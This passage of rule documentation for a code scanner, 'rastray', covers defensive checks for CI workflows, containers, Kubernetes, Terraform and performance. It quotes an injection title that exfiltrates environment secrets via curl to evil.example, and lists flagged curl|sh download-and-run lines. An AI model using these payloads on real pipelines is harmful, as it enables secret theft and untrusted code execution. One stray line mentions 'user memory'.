- Options with
httpOnly: true. - Options that omit
httpOnlyentirely (caught by a higher-level review; this rule fires specifically on the explicitfalse).
How to fix it
Set httpOnly: true (the default for the safest cookie):
res.cookie('sid', token, {
secure: true,
httpOnly: true,
sameSite: 'strict',
});
If the cookie genuinely must be JS-readable (CSRF mirror token, feature-flag cookie), suppress with a comment naming the purpose:
// rastray-ignore: RSTR-NET-004 — CSRF mirror cookie must be readable
res.cookie('XSRF-TOKEN', csrf, { httpOnly: false, sameSite: 'strict' });
References
RSTR-GHA-001 — pull_request_target + PR-head checkout
Summary
A GitHub Actions workflow triggers on pull_request_target and
checks out the pull-request head (ref: ${{ github.event.pull_request.head.sha }}).
pull_request_target runs with full repo-secret access — by design,
so workflows can post comments — but combining it with a PR-head
checkout means an attacker-authored PR runs with the secrets,
yielding straightforward exfiltration via curl, env-dump, or any
run: step.
This is the most commonly exploited GHA misconfiguration class.
Severity
Critical.
Languages
GitHub Actions workflow YAML (.github/workflows/*.yml).
What rastray flags
on:
pull_request_target: # ← flagged combo
types: [opened, synchronize]
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
What rastray deliberately does not flag
on: pull_request— that trigger runs without secrets, so PR-head checkout is safe.on: pull_request_targetwithout any PR-head checkout — useful and safe; the workflow operates onmaincontent.
How to fix it
Pick one of these patterns depending on what the workflow needs:
Pattern A — read-only checks (lint, test, build the PR's code):
use on: pull_request. No secrets, PR head is checked out:
on: pull_request
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: cargo test
Pattern B — labelling/commenting on the PR (needs secrets, must
not run untrusted code): use pull_request_target and do not
check out the PR head:
on: pull_request_target
jobs:
label:
permissions: { pull-requests: write }
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4 # checks out base, NOT PR head
- run: ./scripts/label.sh
Pattern C — both needed: split into two workflows. One on
pull_request does the build; one on pull_request_target reads the
build artefact and posts a comment.
References
- GitHub: keeping workflows secure with pull_request_target
- Github Actions security hardening
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
RSTR-GHA-002 — third-party action pinned by floating tag
Summary
A workflow references a third-party action by floating tag (@v4,
@main) instead of a full commit SHA. The action's author — or
anyone who compromises their account — can publish a new commit under
the same tag and execute arbitrary code with your repository's
secrets the next time the workflow runs. This actually happens (the
tj-actions/changed-files compromise in early 2025 was the most
recent industry-wide example).
Pinning to a SHA freezes the action at the bytes you reviewed.
Severity
Medium. The bug requires the upstream to be compromised, but the
blast radius is total.
Languages
GitHub Actions workflow YAML.
What rastray flags
- uses: actions/checkout@v4 # ← flagged
- uses: docker/setup-buildx-action@v3 # ← flagged
- uses: codecov/codecov-action@main # ← flagged
What rastray deliberately does not flag
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v6.0.3— full 40-char commit SHA with the version as a trailing comment.- Local actions:
uses: ./.github/actions/internal-thing.
How to fix it
Replace the tag with the commit SHA the tag currently points to, and keep the version as a comment so Dependabot can update both atomically:
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v6.0.3
For each pin you need, grab the commit SHA with:
gh api repos/actions/checkout/git/refs/tags/v6.0.3 \
--jq '.object.sha' # if tag is lightweight; if annotated, follow object.url
(Annotated tags need one extra dereference — see the note in your user memory for why.)
Dependabot understands the # vX.Y.Z trailing-comment convention and
will keep the SHA in sync with new releases automatically.
References
- OSSF Scorecard: Pinned-Dependencies check
- tj-actions/changed-files 2025 compromise post-mortem
- CWE-1357: Reliance on Insufficiently Trustworthy Component
RSTR-GHA-003 — ${{ github.event.* }} interpolated into run:
Summary
A workflow step's run: script directly interpolates
${{ github.event.issue.title }} (or pull_request.title,
comment.body, review.body, etc.) into the shell command. GitHub
substitutes the value into the script before the shell parses it,
so a malicious title like "; curl evil.example/$(env|base64) #
runs against the workflow's privileges.
This is a known-exploited class — see the Pwn Request series of disclosures.
Severity
High.
Languages
GitHub Actions workflow YAML.
What rastray flags
- run: echo "Title is ${{ github.event.issue.title }}" # ← flagged
- run: |
echo "${{ github.event.pull_request.body }}" # ← flagged
- run: echo "${{ github.event.review.body }}" >> out.txt # ← flagged
What rastray deliberately does not flag
- Values passed through an
env:block, then referenced as plain shell variables — those are not substituted before parsing. github.event.*values consumed only byactions/github-scriptwith the value as a JS string argument (the JS runtime treats it as data, not code).
How to fix it
Always pass untrusted GHA expression values through env: and
reference them as quoted shell variables:
- env:
TITLE: ${{ github.event.issue.title }}
BODY: ${{ github.event.pull_request.body }}
run: |
echo "Title: $TITLE"
echo "Body: $BODY"
The shell sees $TITLE, not the substituted value, so quoting works
correctly and there is no command injection.
References
RSTR-GHA-005 — actions/checkout with persist-credentials: true
Summary
actions/checkout defaults to persist-credentials: true, which
writes the auto-provisioned GITHUB_TOKEN (with contents: write if
the workflow has it) into the .git/config of the checkout. Any
later step that runs git push, or any tool that reads
.git/config, sees that token.
For most workflows this is wasted attack surface — the workflow only needs the token at the moment it actually pushes back, which it usually doesn't.
Severity
Low. The token is short-lived and limited to the repo, but
defence-in-depth says don't leak it to unrelated steps.
Languages
GitHub Actions workflow YAML.
What rastray flags
- uses: actions/checkout@v4
with:
persist-credentials: true # ← flagged
Also fires on the implicit default when the workflow needs
contents: write and you never set persist-credentials: false.
What rastray deliberately does not flag
- Explicit
persist-credentials: false. - Workflows that actually need to push (release workflows, doc deploys) — suppress per-line with a comment.
How to fix it
Set the option explicitly to false unless you need to push:
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v6.0.3
with:
persist-credentials: false
For the rare workflow that does need to push, scope the token
minimally with permissions: and document the exception:
permissions:
contents: write
steps:
# rastray-ignore: RSTR-GHA-005 — release workflow tags + pushes back to main
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v6.0.3
with:
persist-credentials: true
References
RSTR-IAC-001 — Dockerfile FROM <image>:latest (or untagged)
Summary
A Dockerfile FROM line references an image with the :latest tag
or no tag at all (which defaults to :latest). Builds become
non-reproducible — the same docker build produces a different
image tomorrow than today — and a malicious or compromised upstream
tag silently rolls into your build pipeline.
Severity
Medium. Reproducibility is the immediate concern; supply-chain
substitution is the worst case.
Languages
Dockerfiles, Containerfiles, Dockerfile.* variants.
What rastray flags
FROM alpine:latest # ← flagged
FROM node # ← flagged (defaults to :latest)
FROM ghcr.io/example/api:latest # ← flagged
What rastray deliberately does not flag
- A specific semver tag:
FROM alpine:3.20. - A digest pin:
FROM alpine@sha256:.... scratch(no tag possible).
How to fix it
Pin to a specific tag for human readability, or to a digest for strict reproducibility:
FROM alpine:3.20 # tag pin — gets minor/patch updates
FROM alpine@sha256:beefbeef... # digest pin — byte-exact every build
For multi-stage builds, the digest-pinning effort pays off where it matters most: the final runtime stage. Build stages can take the tag pin.
Renovate / Dependabot both understand the digest-pin convention and will keep the SHA up to date.
References
RSTR-IAC-002 — Dockerfile USER root
Summary
A Dockerfile sets USER root explicitly (or omits USER entirely)
in the final stage, so the container's PID 1 — and every application
process — runs as root. If anything inside the container escapes
(kernel CVE, mounted-host volume, privileged docker socket), the
attacker lands as root on the host.
Severity
High.
Languages
Dockerfiles, Containerfiles.
What rastray flags
FROM alpine:3.20
USER root # ← flagged
CMD ["./server"]
What rastray deliberately does not flag
- Final-stage
USER nobody/USER 1001/ any non-root user. - Multi-stage builds where the builder stage uses root but the final runtime stage drops privileges.
How to fix it
Create a non-root user and switch to it in the runtime stage:
FROM alpine:3.20
RUN addgroup -S app && adduser -S app -G app
USER app
WORKDIR /home/app
COPY --chown=app:app . .
CMD ["./server"]
If you genuinely need root for an init step (writing to /etc,
binding a privileged port), do that in a builder stage or via
capabilities — not by leaving the runtime process as root:
# install root-only stuff in builder stage
FROM alpine:3.20 AS builder
RUN ... # root operations
FROM alpine:3.20
USER app
COPY --from=builder /opt/app /opt/app
For privileged ports (<1024) in production, terminate at a load balancer / ingress and bind the app to a high port.
References
- Docker docs: USER
- OWASP Container Security Cheat Sheet
- CWE-250: Execution with Unnecessary Privileges
RSTR-IAC-003 — Dockerfile ADD <url>
Summary
Dockerfile ADD with a remote URL has two specific weaknesses
relative to RUN curl:
- The downloaded blob has no integrity check — no checksum, no signature. If the upstream is compromised or DNS is poisoned, the build silently uses the substituted bytes.
- The fetch bypasses the build cache, so every layer build re-pulls.
ADDhistorically followed redirects without warning; the destination is not what the Dockerfile reader sees.
Severity
Medium.
Languages
Dockerfiles, Containerfiles.
What rastray flags
ADD https://example.com/file.tar.gz /tmp/file.tar.gz # ← flagged
What rastray deliberately does not flag
ADD ./local/path /dest(local copy —ADD's legitimate use alongsideCOPY).COPY(in all forms).
How to fix it
Use RUN curl with --fail and an explicit checksum:
RUN curl -fsSL https://example.com/file.tar.gz -o /tmp/file.tar.gz \
&& echo 'deadbeef... /tmp/file.tar.gz' | sha256sum -c -
Even better, build the artefact into a separate image or fetch it as part of the build context:
COPY ./vendored/file.tar.gz /tmp/file.tar.gz
References
- Docker docs: ADD vs COPY
- OWASP Container Security Cheat Sheet
- CWE-494: Download of Code Without Integrity Check
RSTR-IAC-005 — chmod 777
Summary
A Dockerfile sets file or directory permissions to 777
(world-readable + world-writable + world-executable). Inside a
container that's running as root anyway this is mostly cosmetic
("everything was already root-owned"), but the moment the runtime
drops to a non-root user or a different container mounts the same
volume, the 777 becomes an actual privilege grant to whichever
process can reach the path.
It is essentially always wrong — the cases where 0755 (directories)
or 0644 (files) is insufficient are rare enough that the rule
fires for review.
Severity
High. Cheap to fix, common cause of real escalations when the
container model later changes.
Languages
Dockerfiles, Containerfiles.
What rastray flags
RUN chmod 777 /var/app # ← flagged
RUN chmod -R 0777 /etc/secrets # ← flagged
What rastray deliberately does not flag
chmod 644,chmod 755,chmod +x, etc.chmodon a path the rule cannot resolve to a real file.
How to fix it
Compute the actual minimum permissions:
- Files:
0644(or0640if a group should read). - Executables:
0755. - Directories:
0755(or0750). - Sensitive files (keys, env-files):
0600.
RUN chmod 0755 /var/app && chown app:app /var/app
If the issue is "writable by my non-root user", set ownership instead of broadening permissions:
RUN chown -R app:app /var/app
References
RSTR-IAC-006 — curl | sh pattern
Summary
A Dockerfile (or build script generally) pipes the output of curl
straight into a shell: curl https://example.com/install.sh | sh.
There is no integrity check on the bytes that the shell ends up
executing. If the upstream is compromised, an attacker on the
network can MITM, DNS gets poisoned, or TLS fails open for any other
reason, the build silently runs whatever bytes arrived.
The pattern is convenient enough that vendors keep recommending it ("for the quickest install, run …"). Convenience does not change the threat model.
Severity
High.
Languages
Dockerfiles, Containerfiles.
What rastray flags
RUN curl -fsSL https://get.example.com | sh # ← flagged
RUN wget -qO- https://example.com/install.sh | bash # ← flagged
RUN curl https://example.com/setup.py | python # ← flagged
What rastray deliberately does not flag
- Downloads written to a file and checksum-verified before execution.
- Installs via the distro package manager (
apt-get,apk,dnf) — those run their own signature verification.
How to fix it
Download, verify, then execute:
RUN curl -fsSL https://example.com/install.sh -o /tmp/install.sh \
&& echo 'deadbeef... /tmp/install.sh' | sha256sum -c - \
&& sh /tmp/install.sh \
&& rm /tmp/install.sh
For tools you install regularly, vendor the installer into your repository and commit the checksum next to it — the chain of custody runs from your reviewers to the binary in one step.
If the vendor signs releases with GPG, prefer that:
RUN curl -fsSL https://example.com/install.sh -o /tmp/install.sh \
&& curl -fsSL https://example.com/install.sh.asc -o /tmp/install.sh.asc \
&& gpg --verify /tmp/install.sh.asc /tmp/install.sh \
&& sh /tmp/install.sh
References
RSTR-IAC-007 — privileged: true container
Summary
A Kubernetes PodSpec sets securityContext.privileged: true (or a
container-level securityContext.privileged: true). A privileged
container runs with the same effective capabilities as the host
kernel: it can mount any filesystem, load kernel modules, talk to
all devices under /dev, and reach into other containers' cgroups.
privileged: true is the kubernetes-equivalent of --privileged
on a Docker run, and the same caveat applies: it is rarely the
right answer, and when it is (host-level monitoring agent, CNI
plugin, low-level GPU bring-up), the workload should be carved off
into a dedicated node pool with its own RBAC.
Severity
High.
Languages
Kubernetes YAML manifests (Pod, Deployment, StatefulSet,
DaemonSet, Job, CronJob, ReplicaSet,
ReplicationController).
What rastray flags
apiVersion: v1
kind: Pod
metadata:
name: app
spec:
containers:
- name: app
image: app:1.0
securityContext:
privileged: true # ← flagged
apiVersion: apps/v1
kind: Deployment
metadata:
name: agent
spec:
template:
spec:
containers:
- name: agent
image: agent:1.0
securityContext:
privileged: true # ← flagged
What rastray deliberately does not flag
privileged: false(the default; explicit-false is a good signal in policy-as-code).allowPrivilegeEscalation: true— separate concern, handled by policy admission controllers.
How to fix it
Drop the privileged: true and request only the specific Linux
capabilities you actually need:
securityContext:
capabilities:
drop: ["ALL"]
add: ["NET_BIND_SERVICE"] # only what you need
allowPrivilegeEscalation: false
runAsNonRoot: true
If the workload genuinely needs host-level access (CSI driver,
node-exporter, low-level networking), keep it on a dedicated node
pool with PSA restricted enforcement on every other namespace,
and review the pod spec at every release.
References
RSTR-IAC-008 — PodSpec shares a host namespace
Summary
A Kubernetes PodSpec sets one of hostNetwork: true,
hostPID: true, or hostIPC: true. Each of these collapses one of
the isolation boundaries between the container and the host:
| flag | what the pod now sees |
|---|---|
hostNetwork | the node's network stack: every interface, every listening socket, the node's DNS config |
hostPID | every process on the node (and can signal them) |
hostIPC | the node's System V IPC and POSIX shared-memory segments |
Combined with a privileged container or a writable hostPath
mount, any of these is a one-hop pivot from "compromise the pod"
to "compromise the node".
Severity
High.
Languages
Kubernetes YAML manifests (any workload-bearing kind).
What rastray flags
apiVersion: v1
kind: Pod
metadata:
name: net-tool
spec:
hostNetwork: true # ← flagged
containers:
- name: tool
image: net:1.0
spec:
hostPID: true # ← flagged
spec:
hostIPC: true # ← flagged
What rastray deliberately does not flag
hostNetwork: false/hostPID: false/hostIPC: false(the default).hostname: <something>— different field entirely, no isolation impact.hostAliases— appends to/etc/hosts, doesn't expand the blast radius.
How to fix it
Remove the host-namespace flag. Use a Service for incoming traffic, a SidecarContainer for log shipping, and a CSI driver for any shared-state needs.
If the workload genuinely requires host access (CNI plugin,
node-local DNS, kube-proxy), document the threat model in the
manifest comments, pin the workload to a dedicated node pool, and
enforce restricted PSA in every other namespace.
References
RSTR-IAC-009 — S3 bucket with public ACL
Summary
A Terraform aws_s3_bucket (or aws_s3_bucket_acl) sets
acl = "public-read" or acl = "public-read-write". Every object
in the bucket is now readable (and, with the second form, writable)
by every IPv4 address on the public internet.
Public buckets are the single most common AWS data-leak vector
because the field is one line of HCL away from "private". AWS
itself ships four separate guardrails to make it harder
(Block Public Access settings, IAM analyzer, security-hub
findings, bucket policy explicit-deny rules) — rastray is the same
fence at the IaC layer.
Severity
High.
Languages
Terraform (.tf, .tfvars).
What rastray flags
resource "aws_s3_bucket" "assets" {
bucket = "my-org-assets"
acl = "public-read" # ← flagged
}
resource "aws_s3_bucket_acl" "assets" {
bucket = aws_s3_bucket.assets.id
acl = "public-read-write" # ← flagged
}
What rastray deliberately does not flag
acl = "private"(default).acl = "authenticated-read"— limited to any AWS account, which is a separate (smaller) blast radius and is occasionally intentional for cross-account delivery.acl = "bucket-owner-full-control"— required pattern for cross-account object writes.
How to fix it
-
Switch the ACL to
"private". -
If you need public delivery, front the bucket with CloudFront and an origin access identity:
resource "aws_s3_bucket" "assets" { bucket = "my-org-assets" acl = "private" } resource "aws_cloudfront_distribution" "cdn" { origin { domain_name = aws_s3_bucket.assets.bucket_regional_domain_name origin_id = "s3-assets" s3_origin_config { origin_access_identity = aws_cloudfront_origin_access_identity.oai.cloudfront_access_identity_path } } # ... } -
Add
aws_s3_bucket_public_access_blockwith all four flags set totrue— it's a no-cost belt-and-braces:resource "aws_s3_bucket_public_access_block" "assets" { bucket = aws_s3_bucket.assets.id block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true }
References
RSTR-IAC-010 — Security-group rule with 0.0.0.0/0
Summary
A Terraform security-group or network ACL rule sets
cidr_blocks = ["0.0.0.0/0"]. The associated port is reachable from
every IPv4 address on the public internet. When the rule covers an
admin port (22 SSH, 3389 RDP, 5432 PostgreSQL, 3306 MySQL, 6379
Redis, 27017 Mongo, 9200 Elasticsearch, …), the blast radius is the
entire service.
The pattern is convenient enough that examples in tutorials still ship with it. Convenience does not change the threat model.
Severity
Critical.
Languages
Terraform (.tf, .tfvars).
What rastray flags
resource "aws_security_group" "web" {
name = "web"
ingress {
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"] # ← flagged
}
}
resource "aws_security_group_rule" "db" {
type = "ingress"
from_port = 5432
to_port = 5432
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"] # ← flagged
}
What rastray deliberately does not flag
cidr_blocks = ["10.0.0.0/8"]and similar RFC1918 ranges.cidr_blocks = ["<office-cidr>"]— narrow public range, still intentional.cidr_blocks = ["::/0"](IPv6 equivalent — separate concern, handled by a future rule once IPv6 deployments are more common in real codebases).
How to fix it
-
For admin ports (22, 3389), use SSM Session Manager / EC2 Instance Connect or a bastion. Never expose admin ports to the internet.
-
For application ports, front the service with an ALB / API Gateway and tighten the security group to allow only the load balancer's security group:
resource "aws_security_group_rule" "web" { type = "ingress" from_port = 443 to_port = 443 protocol = "tcp" source_security_group_id = aws_security_group.alb.id } -
If a public endpoint is genuinely required, document the threat model in a comment next to the resource, and rely on the application's authentication layer to gate access.
References
RSTR-IAC-011 — publicly_accessible = true on a database
Summary
A Terraform aws_db_instance (or aws_rds_cluster_instance,
aws_dms_replication_instance, aws_elasticache_*) sets
publicly_accessible = true. The database receives a publicly
routable endpoint and is reachable from any source allowed by its
security group.
Combined with an over-broad security group (RSTR-IAC-010) this becomes "the database is on the internet"; even with a tight security group, every credential spray, every leaked password, and every cloud-credential leak gets one extra free attempt at the database directly.
Severity
High.
Languages
Terraform (.tf, .tfvars).
What rastray flags
resource "aws_db_instance" "prod" {
identifier = "prod"
engine = "postgres"
instance_class = "db.t3.medium"
publicly_accessible = true # ← flagged
}
resource "aws_rds_cluster_instance" "writer" {
cluster_identifier = aws_rds_cluster.prod.id
instance_class = "db.r6g.large"
publicly_accessible = true # ← flagged
}
What rastray deliberately does not flag
publicly_accessible = false(the default).- The presence of a public endpoint variable (
endpoint,cluster_endpoint) — that's the resource's own DNS name, which resolves to a private IP unlesspublicly_accessible = true.
How to fix it
Set publicly_accessible = false and connect via private
networking:
- VPC peering or Transit Gateway for cross-VPC access inside the same AWS account / organisation.
- AWS PrivateLink for SaaS-style cross-account access.
- VPN / Direct Connect for on-prem access.
- A bastion or SSM Session Manager for ad-hoc DBA access —
never give the DBA team
psqlfrom their laptop straight to a public endpoint.
resource "aws_db_instance" "prod" {
identifier = "prod"
engine = "postgres"
instance_class = "db.t3.medium"
publicly_accessible = false
db_subnet_group_name = aws_db_subnet_group.private.name
vpc_security_group_ids = [aws_security_group.db.id]
}
References
RSTR-PERF-001 — Rust format! accumulator in a loop
Summary
A format!(...) macro is invoked inside a loop and the result is
appended onto a String (via push_str or +=). Each iteration
allocates a fresh temporary String, copies it onto the accumulator,
then drops the temporary. Total allocations are O(n), total bytes
copied are O(n²).
Severity
Medium. The wall-clock impact only shows up at loop counts in the
thousands, but the fix is a one-line refactor and turns the algorithm
from quadratic to linear.
Languages
Rust.
What rastray flags
#![allow(unused)] fn main() { let mut s = String::new(); for x in xs { s.push_str(&format!("{x},")); // ← flagged } }
#![allow(unused)] fn main() { for line in lines { output += &format!("- {line}\n"); // ← flagged } }
What rastray deliberately does not flag
format!outside loops.format!whose result is returned, stored, or passed elsewhere (not accumulated).write!(&mut s, "...")— the safe replacement.
How to fix it
Write directly into the accumulator with write! from std::fmt::Write:
#![allow(unused)] fn main() { use std::fmt::Write; let mut s = String::new(); for x in xs { write!(&mut s, "{x},").unwrap(); // unwrap is OK; String's Write impl never fails } }
For known capacity, pre-allocate:
#![allow(unused)] fn main() { let mut s = String::with_capacity(xs.len() * 4); }
Combined, the loop runs in linear time with at most one realloc.
References
RSTR-PERF-002 — Rust for x in xs.clone()
Summary
A for loop iterates over xs.clone() (or xs.to_vec(), etc.).
The clone walks the entire collection and allocates a new owned copy
just for the iteration — wasted memory and wasted CPU. Borrowing
&xs does the same job with zero allocations.
The clone is usually copy-paste from "I needed to satisfy the borrow
checker once, then never revisited" or "the IDE auto-suggested
.clone()."
Severity
Low. Correctness-neutral; the impact is purely overhead.
Languages
Rust.
What rastray flags
#![allow(unused)] fn main() { for item in items.clone() { // ← flagged process(item); } for row in rows.to_vec() { // ← flagged print(row); } }
What rastray deliberately does not flag
for item in &items/for item in items.iter()— borrowing.for item in itemswhereitems: Vec<T>and the loop consumesitems(moves) — the original cannot be used after the loop.- Clones followed by mutation:
let mut copy = xs.clone(); copy.push(...)— clone is doing real work.
How to fix it
Borrow:
#![allow(unused)] fn main() { for item in &items { // borrows; iteration over &T process(item); } }
If you need to consume the value but also keep the collection, clone inside the loop body for the specific elements that need it:
#![allow(unused)] fn main() { for item in &items { consumer.give(item.clone()); // clone only the elements consumer needs to own } }
References
RSTR-PERF-101 — await inside a loop
Summary
A for / while loop body awaits a Promise. Each iteration blocks
until the previous one resolves, so N independent async calls take
the sum of their latencies instead of the maximum. The loop is
effectively serial despite the async machinery.
Promise.all (or Promise.allSettled) parallelizes them.
Severity
Medium. The wall-clock difference is often 5×-20× for I/O loops.
Languages
JavaScript, TypeScript.
What rastray flags
const results = [];
for (const id of ids) {
results.push(await fetch(`/items/${id}`)); // ← flagged
}
while (hasMore) {
const page = await api.next(); // ← flagged
pages.push(page);
}
What rastray deliberately does not flag
- Sequential awaits outside a loop.
- Loops where the result of iteration N is the input to iteration N+1 (the loop is genuinely sequential by design).
- Rate-limited iteration where serialization is intentional — suppress with a comment explaining the limit.
How to fix it
Map → Promise.all:
const results = await Promise.all(
ids.map(id => fetch(`/items/${id}`))
);
For partial-failure tolerance:
const results = await Promise.allSettled(
ids.map(id => fetch(`/items/${id}`))
);
const ok = results.filter(r => r.status === 'fulfilled').map(r => r.value);
const fail = results.filter(r => r.status === 'rejected');
For genuinely long lists, batch:
const out = [];
for (let i = 0; i < ids.length; i += 10) {
const batch = ids.slice(i, i + 10);
out.push(...await Promise.all(batch.map(id => fetch(`/items/${id}`))));
}
References
RSTR-PERF-102 — new Date() inside a loop
Summary
new Date() allocates a Date object whose only use is usually
getTime() or comparison. Doing it per iteration is gratuitous
allocation; Date.now() returns the milliseconds directly without
the object, and any of the comparisons/arithmetic you might want to
do work on the number.
If the Date itself is needed (formatting, locale), hoist it out of the loop.
Severity
Low. Pure overhead; matters at hot-path scale.
Languages
JavaScript, TypeScript.
What rastray flags
for (const x of xs) {
const t = new Date(); // ← flagged
log(x, t.getTime());
}
What rastray deliberately does not flag
Date.now()calls.new Date(value)with an argument — that's a parse / construction that genuinely needs the constructor.- Construction outside the loop.
How to fix it
// Need only the timestamp?
for (const x of xs) {
log(x, Date.now());
}
// Need the Date for formatting? Hoist it if loop-invariant:
const now = new Date();
for (const x of xs) {
log(x, now.toISOString());
}
If you really need a fresh Date per iteration (rare — you almost
always want a single "now" for the entire batch), Date.now() plus
a single new Date(ts) at the end is cheaper.
References
RSTR-PERF-201 — Python s += '...' inside a loop
Summary
Python strings are immutable. s += chunk inside a loop creates a
fresh string of length |s| + |chunk| each iteration, so the loop
is O(n²) in the total output length.
CPython has an opportunistic optimisation that sometimes mutates
the string in place when the reference count is 1, but it's
implementation-specific and disappears the moment another reference
takes a peek (logging, debugger, intermediate assignment). The
explicit-list-and-join form is reliably linear.
Severity
Medium.
Languages
Python.
What rastray flags
out = ''
for line in lines:
out += line + '\n' # ← flagged
What rastray deliberately does not flag
out = '\n'.join(lines).- Numeric
+=. - Concat outside loops.
How to fix it
Collect into a list and join once:
parts = []
for line in lines:
parts.append(line + '\n')
out = ''.join(parts)
Or use an io.StringIO for explicit incremental writes:
import io
buf = io.StringIO()
for line in lines:
buf.write(line)
buf.write('\n')
out = buf.getvalue()
Both forms are O(n).
References
RSTR-PERF-202 — time.sleep() inside an async def
Summary
time.sleep() is a blocking call. Inside an async def, it blocks
the entire event loop for the duration — every other coroutine that
should be making progress (HTTP clients, DB pools, background tasks)
stops as well. The cooperative-scheduler contract requires every
"wait" to go through await.
Severity
High. The bug looks innocuous and the unit test still passes, but
production throughput collapses because the loop spends N×sleep_time
not doing anything.
Languages
Python.
What rastray flags
async def poll():
while True:
check_status()
time.sleep(5) # ← flagged
What rastray deliberately does not flag
time.sleep()in regulardeffunctions (synchronous code; fine).await asyncio.sleep(...)— the correct form.await trio.sleep(...),await anyio.sleep(...).
How to fix it
Replace with asyncio.sleep:
import asyncio
async def poll():
while True:
check_status()
await asyncio.sleep(5)
If the sleep is buried in a synchronous library call you cannot modify, run that call in a thread executor so it doesn't block the loop:
import asyncio
async def call_blocking():
loop = asyncio.get_running_loop()
return await loop.run_in_executor(None, blocking_thing)
References
RSTR-PERF-301 — defer inside a for loop
Summary
Go's defer runs at function return, not loop iteration. A defer
inside a for body accumulates on the function's defer stack —
every iteration pushes a new entry, and nothing pops them until the
enclosing function returns. For long-running loops over file handles
or DB rows, that means resources stay held for the whole loop, not
just the iteration that opened them.
Severity
Medium. Resource exhaustion (file descriptors, DB connections) is
the usual failure mode.
Languages
Go.
What rastray flags
for _, path := range paths {
f, err := os.Open(path)
if err != nil { return err }
defer f.Close() // ← flagged
...
}
What rastray deliberately does not flag
deferat function scope.deferinside an immediately-invoked closure inside the loop (which scopes the defer to the closure, not the function).
How to fix it
Option 1 — wrap the loop body in a closure (or named function)
so defer fires per iteration:
for _, path := range paths {
if err := func() error {
f, err := os.Open(path)
if err != nil { return err }
defer f.Close()
return process(f)
}(); err != nil {
return err
}
}
Option 2 — close explicitly inside the loop:
for _, path := range paths {
f, err := os.Open(path)
if err != nil { return err }
err = process(f)
f.Close()
if err != nil { return err }
}
The closure form is more idiomatic for clean-up that involves
multiple defers (close + unlock + commit).
References
RSTR-PERF-302 — fmt.Sprintf inside a for loop
Summary
fmt.Sprintf builds a fresh string per call. Inside a loop that
concatenates onto a growing buffer, the allocation churn dominates
the loop. strings.Builder reuses an internal byte slice and lets
fmt.Fprintf write directly into it.
Severity
Low. Not a correctness issue; meaningful only on hot paths.
Languages
Go.
What rastray flags
for _, x := range xs {
out += fmt.Sprintf("%d,", x) // ← flagged
}
What rastray deliberately does not flag
fmt.Sprintfoutside loops.strings.Builderusage withfmt.Fprintf(&b, ...).
How to fix it
var b strings.Builder
b.Grow(len(xs) * 4) // optional, but often a clear win
for _, x := range xs {
fmt.Fprintf(&b, "%d,", x)
}
out := b.String()
If the format is a simple separator and the elements are already
strings, strings.Join is even shorter:
out := strings.Join(strs, ",")